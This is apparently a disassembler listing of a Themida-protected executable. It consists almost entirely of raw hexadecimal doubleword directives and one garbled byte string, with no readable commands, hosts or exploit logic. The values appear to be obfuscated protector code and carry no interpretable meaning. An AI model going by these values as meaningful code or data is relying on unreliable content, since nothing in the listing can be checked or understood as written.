		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 72C35545h, 0DAB70F41h
		dd 0FF70EF80h, 1005D595h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0F4982FF8h
		dd 4C07830h, 55F78166h,	6D8589AFh, 0E90613C2h, 0Dh, 0DF23E896h
		dd 0E11A6BD9h, 2980847Bh, 1CBE97Ah, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0D67E74C3h
		dd 0FFBF0FFEh, 0C265858Bh, 0BD010613h, 6101B79h, 1800C7h
		dd 8B660000h, 69B58BF9h, 6A0613C2h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0BB68C351h
		dd 14E9h, 5F272A00h, 1B10192Fh,	5111C320h, 0AE201038h
		dd 0FC30B83Fh, 25858B75h, 8906100Eh, 102F6185h,	6A068906h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 6BDBC353h, 3175AA4Ch, 858BFA8Bh, 6102185h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 4EC35747h
		dd 56751BA3h, 23B1BD33h, 895B0610h, 6A0446h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 966FB6C3h
		dd 0B9666060h, 0CE8E675h, 95000000h, 30FCFD48h,	39D4F350h
		dd 5E26690Ch, 0F506161h, 880h, 0F525000h, 5A616031h, 6A9658h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 393D80C3h, 0C05DA2FBh, 0B5FF6FB3h, 613C265h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 41C35040h, 64964CF7h
		dd 7E155C6Eh, 9018589h,	72680610h, 6618821Eh, 3481DE8Bh
		dd 9D1D8D24h, 53006A18h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 298483CCh, 101F698Dh, 858DF506h
		dd 613C26Dh, 312D8D89h,	8B900610h, 0BB6650DAh, 8B90BE32h
		dd 1000C1BDh, 0D595FF06h, 81061005h, 0CE0CBF7h,	5E96164h
		dd 92000000h, 50A0B04Ah, 22C185C7h, 30610h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0EB2BFFC3h, 44FBEB02h, 8B6C18E9h, 6DBD83DFh,	613C2h
		dd 33840Fh, 0E9FC0000h,	48h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 4BC35747h, 8831CDE0h, 0F2F1A91h
		dd 28Bh, 0B754B300h, 0C305084h,	11440011h, 10E8C101h, 2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 10EB8166h, 0C1BD8317h, 3061022h
		dd 445850Fh, 0BD0B0000h, 6101055h, 0C26DBD83h, 0F000613h
		dd 43284h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 8CE879E1h, 0AC3D8538h, 0F19D0373h
		dd 0FF061012h, 13C26DB5h, 219D8B06h, 0FF061001h, 102FA595h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 8BF55DE4h, 13C261B5h, 0C58D2906h, 0C7061032h
		dd 1000106h, 13E900h, 0EB180000h, 0B9696939h, 0CE9B2838h
		dd 107EA68Ch, 5538BCB6h, 965096CBh, 9D89FE8Bh, 6102AB5h
		dd 0C26DB5FFh, 820F0613h, 6, 1B3DB501h,	95FF0610h, 6101225h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 5FC35040h
		dd 9D016FB0h, 6101D05h,	0A09BD8Bh, 0B58B0610h, 613C261h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 5EC35545h
		dd 81666EFEh, 8BDCC6D3h, 1021D185h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 300FD409h
		dd 0E943B70Dh, 0BD8B155Dh, 6101F59h, 0C48689h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 99957EC3h, 0F5958B48h, 0E9061009h, 0Ch, 8D1B5B0Ah, 0F730B9B1h
		dd 0EDC8FC75h, 8363E380h, 9D0904C2h, 6103169h, 6512C381h
		dd 50896F36h, 53006A20h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 0BBE64A60h, 9D29F6A8h, 61015C9h
		dd 0D7C2858Dh, 0E7800613h, 8DBD8BC1h, 89061034h, 0B886h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 65620BE4h, 216B7E03h, 0CB81006Ah, 5D18B835h
		dd 0C26DB5FFh, 8D890613h, 6102F71h, 49595FFh, 6A0610h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 967CF1C3h, 1640BB66h, 238A0F50h, 0E8000000h,	0Bh, 0AB2CEE96h
		dd 0E19131D4h, 0E9DB17C0h, 0Dh,	92E96E9Bh, 0EBB860D9h
		dd 0FA77D699h, 6A965B6Fh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0FBD6C355h,	0D5B40441h
		dd 0C26DB5FFh, 6A0613h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 7824B0C3h, 0CC971444h, 8A0F4640h
		dd 6, 2F358D89h, 95FF0610h, 610162Dh, 209D8589h, 0BD830610h
		dd 6101351h, 60840F00h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0D58CC350h
		dd 6552BA98h, 0B89AC33h, 1C459D8Bh, 0E9960610h,	7, 60A2E4D0h
		dd 507AAA2Bh, 6A96D98Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 7950C350h, 0CDBD8929h
		dd 0FF061020h, 13C26DB5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 72DC8BEFh
		dd 0E82A963Ah, 7E9E147h, 8E000000h, 8ADDA5DDh, 85016848h
		dd 6100AF9h, 0C1995FFh,	6A0610h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 0D21D2FC3h, 0FF38634Ch
		dd 13C26DB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 95FF8E32h
		dd 6101621h, 125B501h, 0BD830610h, 6100F89h, 5D840F02h
		dd 57000000h, 5FDF8B66h, 10C5858Bh, 6A0610h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0DA1052C3h
		dd 8BE9D1AEh, 1021059Dh, 0C606h, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 0BFC35646h,	0F9B5030Ah, 9589BA95h
		dd 6100B61h, 2A2585C7h,	610h, 9D8B0000h, 6101AA9h, 0EE9h
		dd 58DC00h, 32A9896Ah, 0CCEAAC3Eh, 0E9CEA425h, 0FFFFF35Ch
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 6EC35747h
		dd 37963193h, 0E19D8BD5h, 8B06100Dh, 53006AC1h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 8B9500E9h
		dd 0B9858DD9h, 0F061013h, 18Dh,	0BD8BF500h, 6100231h, 5880F90h
		dd 0BB000000h, 6594F090h, 0AE950h, 0D8FC0000h, 0DC2A4253h
		dd 3119FEE3h, 11E990h, 40D40000h, 40B5D8FEh, 0D3BBBFC9h
		dd 3D8287E4h, 6A6D3AB3h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 6D37BE1Eh, 0C52D0A89h
		dd 12E8h
		db 0
aAyhGpmaa8Gqns	db 'ÇÊayh½£PŒ€a×8&,£qné',0Ah,0 ; DATA XREF: Themida_:0054D1E0o
		align 4
		dd 6C8F293Fh, 0C53EFD42h, 6A5B0ECCh, 5858900h, 8D06101Bh
		dd 15382685h, 759D8906h, 8306101Dh, 6A05C0h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0DB81D4C3h
		dd 116667A4h, 90D9B70Fh, 38D0Fh, 8B660000h, 666050D9h
		dd 61E011BEh, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 78AAB1ACh, 0E3B7EF9Ah, 6A006Ah, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0E17498C3h, 5F9B774Dh, 6A176773h, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 97EB1B8h, 0F18D892Bh
		dd 0FF061020h, 101D1995h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 8D6016DEh
		dd 13AFD88Dh, 3DB58906h, 0FF061014h, 0CE9D1h, 83D00000h
		dd 94B31768h, 7C96F406h, 0BD8382B0h, 6102209h, 82850F01h
		dd 8B000000h, 101BCD9Dh, 6A026A06h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 96BBC351h
		dd 6501A5C9h, 5365AD20h, 13E9h,	13415000h, 260CA01Ch, 0E0713D08h
		dd 8E568FB3h, 435CFC49h, 0BD23565Bh, 6102FEDh, 489505Bh
		dd 0DBB70F24h, 49595FFh, 6A0610h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 6BD180C3h, 6EE34C52h
		dd 8AD88B66h, 0C84E9D8h, 0E80000h, 5D000000h, 3830ED81h
		dd 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 0F56DEC3h, 281h, 5FF88B00h, 99B6858Dh, 50900613h
		dd 2B906160h, 100D35BDh, 35FF6406h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 92C35040h
		dd 0D49D6662h, 0F7FDF80h, 8964DFB7h, 25h, 0F1BD0B00h, 0FF06102Ah
		dd 10141985h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 197E4175h, 0E904EDB1h, 0Ah, 3D6A6CD7h
		dd 0F765DE6Bh, 0FF6A0910h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 67C35343h, 0B715C4DDh, 0A5B5FF20h, 0E9061004h
		dd 0Bh,	699ECC35h, 0B1DF8B10h, 0FF2BFAFBh, 10061595h, 120E906h
		dd 9D8B0000h, 6100B21h,	0BB6600B0h, 70E6C6E2h, 71E4DF8Bh
		dd 68B0Fh, 0BD890000h, 61011C5h, 7AF0BB66h, 830F613Ch
		dd 0F6h, 0B81BD33h, 0BE90610h, 0B7000000h, 711681A2h, 0BBB6990Bh
		dd 0B60F1958h, 0BAFD8AC8h, 6, 0C18B6BB3h, 0C1F98B66h, 7E804E8h
		dd 0A4000000h, 0E7872F2Dh, 0AE98B68h, 0E1000000h, 0B099EECh
		dd 94940911h, 0F7665BF1h, 0DF8B66E2h, 0D98BC82Bh, 12E8D18Bh
		dd 0D1000000h, 0FEDFD28Eh, 100B82FDh, 72FFA27Dh, 2CC5DECBh
		dd 5BD03C8h, 5F061002h,	81E9h, 0B8E0F00h, 0F000000h, 581h
		dd 0AE1ABF00h, 858B39CDh, 4947554Ch, 0B04BD781h, 0C08363A3h
		dd 72D78107h, 833F3621h, 6FBB00C0h, 3B0FB831h, 0B830FD0h
		dd 1000000h, 1004D995h,	40E906h, 8D8B0000h, 0FFFFFFFFh
		dd 2161BD8Bh, 0E1830610h, 2B840F01h, 0BF000000h, 71D72C5Eh
		dd 0FFFFA583h, 0FFEFFFFh, 88Eh,	8D895700h, 6102829h, 4C95895Fh
		dd 89494755h, 101F4D85h, 0E906h, 0B58D0000h, 614B33Bh
		dd 15E5BD01h, 6A0610h, 9D9D8951h, 5B061027h, 31C995FFh
		dd 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 6E99D3C3h, 0CEC7917Fh, 0BB66C000h, 1DB92D35h
		dd 80000011h, 0E18358E7h, 358589FCh, 0FC061009h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 78C35646h, 0C02B2A02h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 39C35343h
		dd 0F648F11h, 10E8DBBFh, 24000000h, 220A5CF5h, 110F9B47h
		dd 0CEA78C85h, 8BFD0EA0h, 10141DBDh, 0BA5F06h, 8B000000h
		dd 0C233ADF9h, 0D003E8D1h, 7504E983h, 0FD98AF4h, 68Dh
		dd 0D5950900h, 0D06102Fh, 88h, 6810Fh, 8D890000h, 6102F41h
		dd 9F5958Bh, 9D8B0610h,	610171Dh, 23198D8Bh, 6A0610h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 9D89CAC3h, 6101F3Dh,	8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 81605818h, 0C97532DEh, 7D958B18h,	6106101Eh
		dd 810Fh, 2ABF0000h, 833C1AB2h,	101E29BDh, 840F0006h, 79h
		dd 0CE9h, 5B0C2300h, 0E23CE1B5h, 0D53CC22Fh, 2EAABF08h
		dd 0B85FC0h, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 7B08C350h, 5F3270DDh
		dd 1258BF40h, 816621A3h, 8DB49FD7h, 104E858Dh, 9DF8106h
		dd 0FF1C8584h, 51006AE1h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 8BF71D32h, 101E2DBDh
		dd 0C1BD8306h, 61022h, 43A840Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 4CCB18C3h
		dd 0FF8FB20Ah, 22C1BD83h, 0F010610h, 42684h, 0BD83FC00h
		dd 61022C1h, 0E2860F03h, 0E9000003h, 0Eh, 0DEB772D3h, 1B920399h
		dd 3C5073BAh, 6A608DC3h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 4655C356h, 0F5FBB70Fh
		dd 6AD98C66h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0D526C351h, 0E180D88Bh, 57006A04h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 0AD69056Fh, 0E27443D4h, 0FC90A77h, 0C684h, 8BFA8B00h
		dd 10218585h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 4B532F79h, 0F2D9EE8h, 8533FFB7h
		dd 61011FDh, 11E9h, 7FD12C00h, 5FD93DAh, 0FE51BFFFh, 0C0E6E17Fh
		dd 0F50A4A2h, 0C81h, 6860F00h, 50000000h, 5A310F52h, 24048958h
		dd 2015BD89h, 81660610h, 6ACD31EFh, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 5CCA18A7h
		dd 689EDD51h, 9117BF3Dh, 0C2240481h, 896F0744h,	101D5985h
		dd 0D595FF06h, 89061005h, 101BB98Dh, 0F98B6606h, 0C26D8589h
		dd 9D230613h, 6102845h,	204E9h,	0ADBD8B00h, 8B061001h
		dd 13C26585h, 0B5BD8906h, 0C7061000h, 1800h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 6612E400h, 8B9084BFh, 13C269B5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 25858B87h
		dd 6606100Eh, 5F18F381h, 6A0689h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0E8FDC5C3h, 0Ah, 6554B1EEh
		dd 22E261C5h, 890FC8EFh, 4, 0F51BB66h, 0E8D98A5Fh, 0Ch
		dd 0B3ABA9E0h, 3C326768h, 11FB06A5h, 5800Fh, 81660000h
		dd 5F6B3CE3h, 2185858Bh, 6A0610h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 6BC9C4C3h, 840491EAh
		dd 0E1BD33FBh, 2906101Ch, 1012C1BDh, 4468906h, 333D9D89h
		dd 0B5010610h, 61012C9h, 0BE86050h, 14000000h, 0C6054A49h
		dd 30697E11h, 0DE8BA7C7h, 0EE958h, 4BE90000h, 93BD981Eh
		dd 0F667DC8Eh, 43CD8A30h, 24348961h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 2AC35545h, 45B589B9h, 0FF06102Dh
		dd 13C265B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 33A81DEh,	0F1EA4BE5h, 0B5895661h
		dd 610024Dh, 61538468h,	0D88B6638h, 7B243481h, 0BB387E50h
		dd 2DEDF0B2h, 0C26D858Dh, 6A0613h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 38F79DC3h, 85CF80C6h
		dd 66525050h, 310FDE8Bh, 52505250h, 585A310Fh, 8CBF310Fh
		dd 5A3D8516h, 89585A58h, 0FE82404h, 36000000h, 62ADB7D7h
		dd 8BAEB4A7h, 7D79BC2Dh, 0BD8B5ED1h, 6100A8Dh, 0D595FF5Fh
		dd 89061005h, 1013E1B5h, 6A6106h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 5DF68AC3h, 0F3FC06CCh
		dd 0F6CE9C0h, 68Fh, 0F5BD8B00h,	0C7061006h, 1022C185h
		dd 306h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 854B6E2Dh, 0C26DBD83h, 0F000613h
		dd 3084h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 0BD9D295Bh, 2306101Ah, 1030A59Dh
		dd 1EE906h, 0B70F0000h,	0C3050FBh, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 0BD8BDE8Bh, 6101FD1h, 22C1BD83h,	0F030610h
		dd 3FB85h, 6860F00h, 8B000000h,	100871BDh, 0CB816606h
		dd 0BD83B55Dh, 613C26Dh, 0DD840F00h, 31000003h,	1019D585h
		dd 6DB5FF06h, 6A0613C2h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0BD1AC350h,	6B3C38EDh
		dd 0F8D9D01h, 95FF0610h, 6102FA5h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 0C7C35646h,	8B97B74Ah, 13C261B5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 106C7C9h, 6A000100h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 23CDC352h
		dd 58FEC032h, 0BDF1882h, 101C1D9Dh, 0FA8B6606h,	43FBBB50h
		dd 34896C15h, 0FFFA8A24h, 13C26DB5h, 0AE906h, 0B5A60000h
		dd 51FFD74Eh, 635000BEh, 122595FFh, 0F7800610h,	61B58B29h
		dd 6A0613C2h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 1C7C353h, 10BB6637h, 0EF8166F4h
		dd 858B5D18h, 61021D1h,	1CADBD8Bh, 86890610h, 0C4h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0CFC35141h, 9D8BD35Eh
		dd 610057Dh, 0AADBD8Bh,	958B0610h, 61009F5h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0EC35040h, 43EB4A0Fh
		dd 0D98B6660h, 2A798531h, 83610610h, 6A04C2h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0DAAD3FC3h
		dd 20508919h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 19h,	7DC35242h, 7FD4B99Dh, 0BE9E7h, 0D9A0000h, 89BE9809h
		dd 0D7DFC1A5h, 0C2858D16h, 6A0613D7h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 1DBC350h
		dd 86EF00C3h, 8689E993h, 0B8h, 3D8D31F5h, 6A06102Ah, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 5BC517AAh, 0FFFD1ACh, 38Ch, 0B5C38000h, 0C26DB5FFh
		dd 6A0613h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 6681B5C3h, 1F54EB81h, 49595FFh, 52960610h
		dd 9E9h, 0F4541A00h, 0C4CFE29Ch, 505F177Fh, 118D0Fh, 52500000h
		dd 820Fh, 310F0000h, 0F4F9BFBBh, 96585A33h, 0C26DB5FFh
		dd 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 3905BFC3h, 0A61C1973h, 0FFB0024Eh, 10162D95h
		dd 11E906h, 39130000h, 3E80C381h, 0AE082152h, 0D0F9B697h
		dd 83F330F5h, 101351BDh, 840F0006h, 2Fh, 0CE8h,	8589DE00h
		dd 472AEFF4h, 0EDAF0D3h, 5830FD7h, 66000000h, 93D8C781h
		dd 6E9505Bh, 0C8000000h, 19973798h, 243489E8h, 0FFDF8B66h
		dd 13C26DB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 3125C354h, 9A0DDF81h, 0EF8000A1h
		dd 1995FFAEh, 906100Ch,	101D058Dh, 6DB5FF06h, 0FC0613C2h
		dd 162195FFh, 85090610h, 61011BDh, 0F89BD83h, 0F020610h
		dd 4F84h, 0B1BD2300h, 8B061014h, 1010C585h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 8E842h, 90D80000h, 6CB04673h, 8960206Dh, 102E0195h
		dd 0C99D2906h, 61061027h, 0C6D88B5Fh, 9D8B0000h, 6101571h
		dd 2A2585C7h, 610h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 160424h, 57470000h, 0C681F2C3h, 0B509F9B3h
		dd 6100DF1h, 0FFF43DE9h, 9BD8BFFh, 8B061016h, 0F38166C1h
		dd 0BAB22Ah, 81F00E10h,	0EAh, 14C283F0h, 0C899589h, 0EA830610h
		dd 55858D14h, 50061545h, 35FF64h, 64000000h, 2589h, 0E80000h
		dd 58000000h, 25C22Bh, 66FFFFF0h, 5A4D3881h, 12850Fh, 0B70F0000h
		dd 0D0033C50h, 45503A81h, 840F0000h, 0Ah, 10002Dh, 0FFD9E900h
		dd 0C88BFFFFh, 1FD58589h, 40030610h, 50B70F3Ch,	8D958906h
		dd 8B06101Ah, 95895050h, 6101B39h, 0F805h, 0C508B00h, 9589D103h
		dd 610091Dh, 89085003h,	1023F595h, 58F6406h, 0
		dd 0E904C483h, 13h, 244C8B51h, 0B0A98110h, 0
		dd 59000010h, 83C3C033h, 103105BDh, 840F0006h, 24h, 23E585C6h
		dd 68470610h, 0D49AA7D2h, 1D45B5FFh, 858D0610h,	613858Ah
		dd 6AD0FFh, 8589D0FFh, 6100C4Dh, 12E8D38Bh, 1A000000h
		dd 49DA3D93h, 5B4D1D40h, 78E75754h, 70913EB1h, 0D7BF0F26h
		dd 0D7EA815Fh, 81439A67h, 5DE2C7h, 3395B200h, 70C8BC0h
		dd 81F7BF0Fh, 560BF8C1h, 14E82Eh, 37200000h, 2219812Fh
		dd 9D44374h, 27EAA991h,	0FEFA049Fh, 8166AFD2h, 5E97B2D6h
		dd 6140F181h, 0FE85CBCh, 70000000h, 89274459h, 43C7CC2Ch
		dd 18899BF9h, 0EF80BE0Ch, 0E9815B84h, 39FB4BB2h, 6651D78Bh
		dd 8FE2E5BEh, 81660704h, 80E981F3h, 0E8836FDAh,	0D6816604h
		dd 0F8810809h, 0FFFFA2F4h, 10850Fh, 0D6800000h,	37E96Ah
		dd 0D4140000h, 247B41E8h, 14E99565h, 89000000h,	16ED5B64h
		dd 7E4D3EB5h, 2FC3D68Dh, 0ADCB777Dh, 0E97DB32Eh, 0FFFFFF5Dh
		dd 0EC1ABC78h, 0F2FA90E9h, 0A6E544A7h, 0F75CF0E5h, 688D8D81h
		dd 0F061547h, 8D89F1B7h, 61009F5h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 82C35646h, 0D008E3E6h, 954A396Ah
		dd 75850960h, 60061030h, 20CD8D8Bh, 85010610h, 6102D45h
		dd 85C76161h, 6102319h,	60A0h, 0C185C7F9h, 61022h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 645AC350h, 0BD89E1F2h, 6100101h, 302DBD89h
		dd 0B5FF0610h, 6102ED5h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 15h, 0D1C35040h, 0BE9DCh, 6CEF0000h, 2A1658A2h
		dd 62B17468h, 0B995FFC3h, 6A06102Dh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0F2CEC357h
		dd 0B5898713h, 6100B21h, 95FF006Ah, 61031C9h, 1CEBC08Bh
		dd 35A7D9F3h, 0E389D4C3h, 557D15D5h, 550CC57Eh,	0BFF64CD7h
		dd 0BB4128CEh, 22A4B94Dh, 48108D8Dh, 850B0615h,	6100CA1h
		dd 9F58D89h, 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 2FB9C6C3h, 1985C713h, 30061023h
		dd 80000074h, 85C7C7D3h, 61022C1h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 16C35141h
		dd 2BB777C8h, 0CDB5FFh,	0BD8B0610h, 6100249h, 2DB995FFh
		dd 0B58B0610h, 6102A6Dh, 95FF006Ah, 61031C9h, 3EEBC08Bh
		dd 6398945Dh, 754F17E4h, 2493B344h, 487BF53Dh, 95246B93h
		dd 0A4707F07h, 47E5076Bh, 85039A94h, 0EED2396h,	0D5333C20h
		dd 0A13F6DE5h, 64A6E2BDh, 1AD5467Eh, 0B8CBC42Bh, 0FE144D2Ch
		dd 1CE1C244h, 5C4B6B98h, 7436401Dh, 9C304074h, 0C2DB1E57h
		dd 982834FEh, 982204F6h, 9C03406Ch, 54421631h, 53DC909Dh
		dd 93F7A1A9h, 21B38EC0h, 9A0855FAh, 1F053577h, 8C06D5CAh
		dd 85774071h, 5C0A1327h, 9CC443CFh, 0F9E5C977h,	11365079h
		dd 8EA055EAh, 0C7DFBF71h, 9BBC32Fh, 9C055077h, 0CFD15703h
		dd 9CC443CFh, 0F9E5C977h, 11365079h, 8EAD44EAh,	0C7DFBF71h
		dd 1CB9262Fh, 0FD9EC9D7h, 0B5875072h, 8CC18DE2h, 0F6A0CB71h
		dd 9FD81377h, 0BC184077h, 1557832Ch, 1D02642Bh,	8A076433h
		dd 0DF814077h, 318C8324h, 4CEB26EEh, 2FE8CC11h,	931CE8C7h
		dd 9C0F9FF3h, 0CE062A77h, 9C03439Fh, 5FDB6077h,	0B894C92Dh
		dd 0B824C173h, 9C305573h, 5F4A0277h, 9872C06h, 9A16619Eh
		dd 0B112FDF4h, 93814667h, 9CC004F3h, 2B6F2077h,	21BDCBB6h
		dd 0FD1E5069h, 9C0FDF9Eh, 0CD062A77h, 9C03439Fh, 5FD86077h
		dd 0B88CC92Eh, 0B824C173h, 9C305473h, 5F490177h, 15B1CBB7h
		dd 75005072h, 9C034070h, 79F06829h, 9709E576h, 8C7D95E2h
		dd 0BB30FE71h, 53984277h, 9B89CD0Bh, 6300530Eh,	0C99ECBA7h
		dd 19875044h, 70444FB7h, 15604077h, 8C38C9FAh, 0CB20C171h
		dd 93F7C111h, 9C0605F2h, 9DBECB77h, 15875076h, 8CCD69CAh
		dd 0E4E12671h, 93324273h, 9C1B1AF3h, 0CF0C2A77h, 9C06439Fh
		dd 5F586077h, 0B8DDC92Ch, 0B884C173h, 9C605D73h, 5F630377h
		dd 1301C4C5h, 0CCAA56ABh, 1D50BBDEh, 8BD7A0B8h,	1DE71A67h
		dd 93A0DC4Fh, 9C60CAF2h, 0F1BD7177h, 1C1E5069h,	93E4420Fh
		dd 9C063AF2h, 0CF032A77h, 9C81439Fh, 5F9B6077h,	0B83CC92Ch
		dd 0B874C173h, 9C185773h, 5F5F0377h, 0CE96B1BCh, 32DDFF11h
		dd 9AF9C111h, 19CFEB77h, 9C60403Ch, 7467401Dh, 9C184074h
